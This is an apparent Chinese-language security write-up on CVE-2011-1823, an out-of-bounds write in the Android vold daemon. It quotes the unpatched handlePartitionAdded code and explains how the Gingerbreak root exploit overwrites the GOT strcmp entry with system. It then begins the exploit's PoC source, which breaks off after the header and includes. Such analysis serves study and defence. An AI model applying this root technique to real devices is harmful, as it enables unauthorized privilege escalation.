0x0 漏洞信息
https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-1823
0x1 漏洞描述
在Android 3.0版本和2.3.4之前的2.x版本上的volume守护进程(vold)由于信任从PF_NETLINK套接字接收到的消息,因此允许以root权限执行任意代码,利用方法是通过一个负数索引绕过只针对最大值的有符号整数检测.
0x2 代码分析
//未修复的handlePartitionAdded代码
void DirectVolume::handlePartitionAdded(const char *devpath, NetlinkEvent *evt)
{
int major = atoi(evt->findParam("MAJOR"));
int minor = atoi(evt->findParam("MINOR"));
int part_num;
//从NETLINK消息中获取PARTN参数
const char *tmp = evt->findParam("PARTN");
if (tmp)
{
part_num = atoi(tmp);
}
else
{
SLOGW("Kernel block uevent missing 'PARTN'");
part_num = 1;
}
//检查动态增长的成员变量,但是并没有定义绝对的数组边界
if (part_num > MAX_PARTITIONS)
{
mDiskNumParts = part_num;
}
if (major != mDiskMajor)
{
SLOGE("Partition '%s' has a different major than its disk!", devpath);
return;
}
//将用户控制的值存在了用户控制的下标所对应的数组元素中,只检查了上界
if (part_num >= MAX_PARTITIONS)
{
SLOGE("Dv:partAdd: ignoring part_num = %d (max: %d)\n", part_num, MAX_PARTITIONS-1);
}
//....
}
函数没有正确的检查 part_num 变量的边界,攻击者可以通过NETLINK消息中的PARTN参数来传入part_num变量的值.在上述表现语句中,part_num变量被解释为有符号整数,并且被用作数组下标来访问数组.函数没有检查下标是否为负数,这导致了程序访问mPartMinors数组位于堆上之前的元素.
0x3 如何利用
Gingerbreak首先要获得全局偏移表(GOT表)到DirectVolume类mPartMinors数组的偏移.由于受影响的Android版本还未引入ALSR,因此vold进程无论如何重启,这个偏移都会保持不变,而且vold崩溃后会自动重启.利用就是要用无效的偏移来让它崩溃,然后读取崩溃的日志信息,获取地址信息.这样GOT举例mPartMinor数组的偏移就可以计算出来.GOT的地址可以通过解析磁盘上的vold的ELF文件头来得到.
为了实现有效代码执行,漏洞利用把GOT表中的strcmp函数项覆盖为libc中的system函数.同样,系统没有开启ALSR,所以可以使用当前进程libc中system函数的地址,这和目标进程中的system地址是相同的.当vold进程下次调用strcmp时,就会执行system函数.利用发送了一个NETLINK请求,所以利用只需在传入的参数字符串中提供一个二进制程序的路径.这样在vold进程对字符串进行比较的时候,就会运行这个二进制程序.
0x4 Poc
/* android 2.2-3.0 vold root exploit "mPartMinors[] (NPARTS) out of bounds write"
* (checked for upper limit but not against negative values).
*
* Exploited by changing GOT entry of strcmp(),atoi() etc. to system()
* and then triggering such call with provided pointer. :D
* We nevermind NX protections and what they call ROP.
*
* (C) 2010-2011 The Android Exploid Crew
*
* Before using, insert empty formatted sdcard. USE IT AT YOUR OWN RISK, THIS PROGRAM
* MIGHT NOT WORK OR MAKES YOUR DEVICE USELESS/BRICKED. SO BE WARNED!
* I AM NOT RESPONSIBLE FOR ANY DAMAGE IT MIGHT CAUSE!
*
* It only works if called from adb shell since we need
* group log.
*
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mount.h>
#include <sys/time.h>
#include <linux/netlink.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <stdlib.h>
#include <math.h>
#include <dlfcn.h>
#include <elf.h>
#include <sys/system_properties.h>
static struct {
pid_t pid;
uint32_t got_start, got_end;
uint32_t